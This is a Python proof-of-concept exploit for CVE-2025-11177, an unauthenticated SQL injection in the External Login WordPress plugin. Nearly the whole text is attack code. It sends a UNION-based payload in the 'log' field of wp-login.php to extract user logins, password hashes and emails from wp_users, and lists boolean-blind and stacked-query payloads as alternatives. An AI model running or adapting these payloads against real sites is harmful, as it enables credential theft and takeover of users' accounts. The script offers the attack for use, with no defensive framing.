CVE-2025-11177

# CVE-2025-11177 PoC - External Login Plugin SQL Injection # Vulnerability: Unauthenticated SQL Injection via 'log' parameter # Affected: External Login plugin for WordPress <= 1.11.2 # Database: PostgreSQL or MSSQL as external authentication DB import requests target_url = "http://target-wordpress-site.com/wp-login.php" # Crafted payload exploiting SQL injection in 'log' parameter # Using UNION-based injection to extract sensitive data payload = { "log": "' UNION SELECT user_login, user_pass, user_email FROM wp_users-- ", "pwd": "password123", "wp-submit": "Log In", "redirect_to": "http://target-wordpress-site.com/wp-admin/", "testcookie": "1" } # Send the malicious request response = requests.post(target_url, data=payload) # Check response for extracted data or error messages if response.status_code == 200: print("[*] Response received, checking for data leakage...") # In successful exploitation, sensitive data may appear in response if "user_pass" in response.text or "ERROR" in response.text: print("[+] SQL Injection successful!") print(response.text) else: print(f"[-] Request failed with status: {response.status_code}") # Alternative: Boolean-based blind SQL injection payload # payload_log = "admin' AND (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='a'-- " # Alternative: Stacked query (PostgreSQL/MSSQL only) # payload_log = "'; SELECT user_pass FROM wp_users WHERE ID=1-- "

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